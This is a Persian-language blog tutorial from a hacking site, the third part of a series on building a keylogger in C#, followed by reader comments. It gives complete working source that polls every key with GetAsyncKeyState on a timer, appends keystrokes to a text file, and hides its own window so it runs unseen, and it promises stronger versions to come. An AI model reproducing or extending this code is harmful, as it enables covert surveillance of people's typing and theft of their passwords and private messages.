آموزش تصویری ساخت کیلاگر 3 :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات

در پست های قبلی ایجاد یک کیلاگر ساده را اموختیم که کاراکتر های زده شده رو تو یه فایل txt ذخیره میکرد


 ولی یه مشکل اساسی داشت! (البته مهمترین مشکل)


 وقتی که رو یه برنامه دیگه کلیک کنیم کیلاگرمون از کار میوفته یا تخصصی تر بگیم وقتی رو یه برنامه دیگه کلیک میکنیم پنجره کیلاگرمون از حالت active  خارج میشه و کاراکتر ها رو ذخیره نمیکنه

خب تو این پست میخوایم کیلاگری رو کد نویسی کنیم که در هر شرایطی کاراکتر های زده شده رو ذخیره کنه و مخفی هم هست!

ابزار لازم:

 یک TextBox

یک Button

و یک Timer

یک پروژه جدید گرافیکی بسازید و اسمش رو هرچیزی که خواستید بزارید در اینجا اسم پروژه getkeys هست

کنترل ها رو به شکل زیر در برنامه قرار بدید

 


تو این قسمت از اموزش چون میخوایم از کد های unmanaged استفاده کنیم باید using زیر رو اول اضافه کنیم

using System.Runtime.InteropServices;
using System.IO;

یه توضیح مختصر درباره کد های مدیریت نشده((unmanaged :

ببینید کد های که در زبان های سطح بالا مثل سی شارپ مینویسیم هنگام کامپایل شدن مستقیم به زبان ماشین تبدیل نمیشن!  در ابتدا به زبان سطح میانی(.Net) که توسط بعضی سرویس ها انجام میشه کامپایل میشن و بعد به زبان ماشین.

ولی کد های unmanaged هنگام کامپایل شدن مستقیم به زبان ماشین ترجمه میشه و در نتیجه موجب اجرای سریع کد هامون میشه ولی بیشتر اوقات ارور های که به وجود میاره برطرف کردنش دشوار و زمان بره!

] نکته : تا اونجای که میتونید از کد های unmanaged استفاده نکنید چون اغلب مشکل ساز میشه. [

        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int vkey);
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(Keys vkey);

کد های بالا رو در زیر کلاس قرار بدید توصیه میکنم کد رو تایپ کنید تا براتون یکم جا بیوفته

فعلا در مورد کد های بالا توضیحی نمیدم! مگر تو پست اینده...

خب بعد از نوشتن کد های بالا حالا یک متد میسازیم از نوع void و اسمش رو میزاریم savekeys و کد های اصلی رو توش قرار میدیم

بهتره از متد TryCatch استفاده کنیم تا هنگام اخطار برناممون بسته .

        public void savekeys()
        {
            try
            {
                foreach(int i in Enum.GetValues(typeof(Keys)))
                {
                    if(GetAsyncKeyState(i) == -32767)
                    {
                    textBox1.Text += Enum.GetName(typeof(Keys), i) + "";
                    StreamWriter sw = new StreamWriter("test.txt",true);
                    sw.Write(Enum.GetName(typeof(Keys), i) + "");
                    sw.Close();
                    }
                }
            }
            catch (Exception)
            {
            }
        }

در بالا از دستور  foreach استفاده کردیم و مقدار بازگشتی نوع Keys رو در متغییر i ریختیم .  کار کد بالا نمایش کاراکتر های زده شده در TextBox و همینطور ذخیره کردن انها درون یک فایل تکست هستش

بعد باید متد بالا رو در تایمر فراخوانی کنیم! پس کد زیر رو در تایمر بنویسید

Savekeys();

و در اخر در قسمت Form load کد زیر رو اضافه کنید و تمام!

Timer1.Start();

تا اینجا برناممون تقریبا تکمیل شده و میتونید یه بار برنامه رو تست کنید ببینید کلید های زده شده رو تو TextBox نمایش میده یا نه


حالا میرسیم به بخش ویژه برنامه ! مخفی کردن فرم

کد زیر رو به کلاس اضافه کنید

        [System.Runtime.InteropServices.DllImport("user32.dll", CharSet = System.Runtime.InteropServices.CharSet.Auto)]
        private static extern bool ShowWindow(IntPtr hwnd, int nCmdShow);

حالا درون دکمه کد زیر رو کپی کنید

ShowWindow(this.Handle, 0);

حالا یه بار دیگه برنامه رو اجرا کنید اینبار رو دکمه کلیک کنید تا فرم مخفی شه!


کلا کد هامون تا اینجا میشه این

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace getkeys
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int vkey);
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(Keys vkey);
        [System.Runtime.InteropServices.DllImport("user32.dll", CharSet = System.Runtime.InteropServices.CharSet.Auto)]
        private static extern bool ShowWindow(IntPtr hwnd, int nCmdShow);
        private void Form1_Load(object sender, EventArgs e)
        {
            timer1.Start();
        }
        public void savekeys()
        {
            try
            {
                foreach(int i in Enum.GetValues(typeof(Keys)))
                {
                    if(GetAsyncKeyState(i) == -32767)
                    {
                    textBox1.Text += Enum.GetName(typeof(Keys), i) + "";
                    StreamWriter sw = new StreamWriter("test.txt",true);
                    sw.Write(Enum.GetName(typeof(Keys), i) + "");
                    sw.Close();
                    }
                }
            }
            catch (Exception)
            {
            }
        }
        private void timer1_Tick(object sender, EventArgs e)
        {
            savekeys();
        }
        private void button1_Click(object sender, EventArgs e)
        {
            ShowWindow(this.Handle, 0);
        }
    }
}


اموزش بالا تقریبا یکم سخت بود ولی در اپدیت بعدی این پست توضیحات بیشتری در مورد کد ها میدم تا براتون خوب جا بیوفته در اپدیت بعد یک کیلاگر قوی تر و سریع تر میسازیم!

امید وارم از اموزش لذت برده باشید هرگونه مشکلی که در نوشتن کد براتون پیش اومد همینجا برام کامنت بزارین


موفق باشید :)


نظر (۹)

Damet garm ba Undamaged ashnaiee nadashtam :P
Rasi passworde Postaro chetori mitoonam begiram? :|
  • Virus32
  • همونی که خودت میدونی
  • عالی بود ولی میشه کیلاگر با نت پئ هم یاد بدی؟
    Apk 32 :
    بزودی.
    سلام
    آدرس ایمیلتو بذار تا ادمین برات password رو بفرسته
    سلام
    دمت گرم
    فقط یه تی کوچیک بزرگ اشتباه داشت

    یه سوال این کلا حروف لاتین میگیره؟
    اگه روی زبان دیگه ای باشه کجاشو دستکاری کنیم؟

    LORD 32 LORD 32 :
    سلام
    در پست های آینده آموزشش رو قرار میدیم
    سلام میشه لطفا اموزش حساس بودن به حروف کوچک و بزرک و فارسی رو هم اموزش بدین که مثل (keychar) عمل کنه .اگه می تونین لطفا کدش رو برام ایمیل کنین .خیلی لازم دارم لطفا یکم سری تر برام بفرستین.ممنون
    سلام لطفا میشه آموزش گرفتن کلید های فارسی و کوچیک بزرگ رو هم آموزش بدین
    خسته نباشید.ممنون از آموزش هاتون.
    لطفا زود تر قسمت بعد رو بسازید و ارایه بدید خیلی مشتاق هستم :)
    سلام.
    سال نو هم که رسید.
    داداش ویروس کجایی که منتظرتیم.
    دمت گرم.
    Dark Killer :
    سلام گلم
    همین جا در خدمتتونیم
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام ویروس 32 با یاهو مسیجر بهت یه چیزایی در مورد نرم افزار رمیدر گفتم یه نگاه بکن توساتم هم او ویجته هس

    سایتم:h********************r/
    ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
    شما میتوانید از این تگهای html استفاده کنید:
    <b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
    تجدید کد امنیتی